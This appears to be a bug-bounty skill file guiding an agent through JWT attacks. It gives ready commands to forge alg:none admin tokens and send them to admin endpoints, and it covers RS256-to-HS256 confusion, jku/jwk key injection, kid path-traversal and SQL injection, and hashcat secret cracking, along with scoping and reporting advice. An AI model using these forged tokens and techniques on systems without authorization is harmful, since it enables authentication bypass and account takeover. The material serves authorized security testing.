--- name: hunt-jwt description: JWT attacks — none algorithm, alg confusion, key brute, claim manipulation, JKU/JWK injection, token substitution. Chains to auth bypass and ATO. --- # JWT ATTACKS — 3 BULLETS MAX **Core:** JWT flaws = authentication bypass = ATO. ## DETECTION ```bash # Decode JWT echo "eyJhbGci...header.eyJzdWI..." | cut -d. -f2 | base64 -d 2>/dev/null # Check alg curl -s "https://target.com/api/data" -H "Authorization: Bearer TOKEN" | head -1 # Decode header echo "eyJhbGci...header" | base64 -d ``` **One-call decode (preferred):** ```bash jwt decode --decode ``` --- ## ATTACKS ``` None algorithm: change alg to "none", remove signature Alg confusion: RS256→HS256, sign with public key as HMAC secret Claim manipulation: {"sub":"admin","role":"admin","exp":9999999999} Key brute: hashcat -m 16500 jwt.txt wordlist.txt JKU injection: set jku to attacker's URL → server fetches attacker's key Key confusion via JWKS: host malicious JWKS → set kid to attacker URL Token substitution: swap tokens between accounts Refresh token abuse: test if valid after password change/logout ``` --- ## THE ALG=NONE BYPASS — ONE CALL, NO HAND-CRAFTING This is the highest-yield JWT attack and the one most often missed because it looks like it "should not still work". It does. Many APIs validate the signature only when `alg` is a signing algorithm, and skip validation entirely when `alg: "none"`. **Forge the token with the `jwt` tool — do not hand-craft base64:** ```bash # Forge an alg:none token with admin claims jwt forge \ --algorithm none \ --payload '{"sub":"admin","role":"admin","exp":9999999999}' \ --header '{"alg":"none","typ":"JWT"}' ``` **Test it immediately against the endpoint that rejected the original:** ```bash FORGED=$(jwt forge --algorithm none --payload '{"sub":"admin","role":"admin"}' --header '{"alg":"none"}') curl -s -H "Authorization: Bearer $FORGED" "https://target.com/api/admin/users" | head -5 ``` **If the server accepts it → Critical.** The forged token needs no signature, no secret, and no account. It works against any endpoint the original token reached. ### alg:none — the real-world chain This is not just "auth bypass". The pattern that pays out: ``` alg:none token → admin role claim accepted → → read all user PII (orders, addresses, saved cards) → write endpoints unauthenticated (create/delete products, users) → combined with CORS: * → full data breach from any malicious website ``` **When you get an alg:none token, test in this order (stop at first proven boundary):** 1. Read: `GET /api/admin/users` — confirm admin access 2. Scope: how many records? One endpoint, one record to prove. Do not bulk-exfiltrate. See `control-verification` IMPACT BOUNDARY. 3. Write (only if explicitly asked): `POST/DELETE` on a *test* object you create and delete yourself. Never delete production data. 4. CORS: check `Access-Control-Allow-Origin` on the API response. If `*` alongside the forged token, note the compound risk — any website can make authenticated admin calls. ### The alg:none test is 30 seconds — always run it Before any other JWT work, on any token-bearing endpoint, run the forge-and-retry. It is the cheapest highest-severity test in the arsenal and it works on a surprising fraction of targets. --- ## CHAINS ``` None algorithm → admin access → Critical Alg confusion → forge admin token → Critical Claim manipulation → privilege escalation → Critical Key brute → forge any token → Critical ``` ## VERIFICATION DIFFERENTIALS — WHERE BUGS ACTUALLY LIVE A JWT check is only as strong as the weakest verifier that accepts the token. Inventory every consumer before attacking any one of them: the API gateway, the app server, websocket auth, background workers, and any second service that validates the same token with a different library. The classic bug is a differential — the gateway verifies strictly, a downstream service trusts the header after its own lenient parse, and the forged token only needs to survive the second check. ## ALG CONFUSION (RS256 -> HS256) Works when the verifier can be made to treat the RSA **public** key as an HMAC secret. The public key is public: fetch it from the JWKS endpoint, the TLS certificate, or error messages. Re-sign the tampered payload with HS256 using the public key bytes **exactly as the library expects them** (PEM string vs raw — the formatting mismatch is why most attempts fail; try both). Signal worth pursuing: the same key material is reachable, and the verifier's algorithm is chosen from the token header rather than pinned server-side. If the server pins the algorithm per-key, stop — the class is dead, record the negative. ## NONE AND HEADER INJECTION - `alg: none` variants: `none`, `None`, `NONE`, empty signature, missing third segment. Modern libraries reject these; older and hand-rolled verifiers still appear in internal services. - `kid` is a lookup key and an injection point: path traversal (`kid: ../../dev/null` with an empty-string HMAC), SQL injection in the key lookup, and command injection in shell-out verifiers. - `jwk` / `jku` / `x5u` headers: if the verifier honours an attacker-supplied key URL or embedded JWK, host your own JWKS on a domain you control, sign with the matching private key, and the token verifies against *your* key. Restrictive allowlists on the URL host are the real control; test subdomain and redirect seams only within scope. ## WEAK SECRET DISCIPLINE Offline cracking (hashcat mode 16500) against a wordlist is legitimate **only on tokens you issued to your own test accounts** and within program rules — some programs forbid automated cracking; check first. Prioritise evidence the secret is weak before burning compute: short tokens, secrets leaked in JS bundles or public repos (search the org's GitHub for the signing config), framework defaults (`secret`, `your-256-bit-secret`, changeme-style values from tutorials). One recovered weak secret forges every user including admins — that is the impact statement, proven by minting a token for your *second* test account, never a real user. ## CLAIM-LEVEL TESTS - Identity swap: change `sub`/`user_id` to your second account's id, keep everything else. The two-account rule is the whole proof. - Role/scope: flip `role`, `admin`, `scope`, tenant/org claims — test each claim separately; servers often verify one and trust another. - Time: expired token replay, `exp` removed, `nbf` in the future, clock-skew tolerance measured in hours instead of minutes. - Audience/issuer: token minted for service A replayed at service B (missing `aud` check), staging-issued token accepted in production. - Type confusion: refresh token used as access token, ID token used as access token, session cookie value swapped with the JWT. ## STORAGE AND LEAKAGE SURFACES Tokens in `localStorage` are one XSS away from theft — report the pair together, not as two mediums. Tokens in URLs leak via Referer, logs and browser history. Long-lived tokens with no revocation story plus a leakage surface is the realistic account-takeover chain. ## FALSE-POSITIVE TRAPS - The API returns 200 but the *data* is still the attacker's own — the server ignored the forged claim and served the session's real identity. Always verify with a canary field only the victim test account has. - Signature-stripped tokens accepted by a *public* endpoint that never required auth — prove against an authenticated endpoint. - Gateway strips/rewrites the Authorization header so your forged token never reached the verifier; the 401 you see is the gateway's, and the 200 you see may be too. ## REPORTING CHECKLIST - [ ] Algorithm/key-source inventory for every verifier that saw the token - [ ] Forged token built from your own account's token, target = second test account - [ ] Canary proof the forged identity was honoured (victim-only field/action) - [ ] Exact key material source if confusion/jku (URL fetched, timestamp) - [ ] Claim-by-claim results table (which claims are verified, which trusted) - [ ] Impact stated as the highest privilege mintable, with the minting shown once - [ ] Negatives recorded (pinned alg, strict kid allowlist) so retest is cheap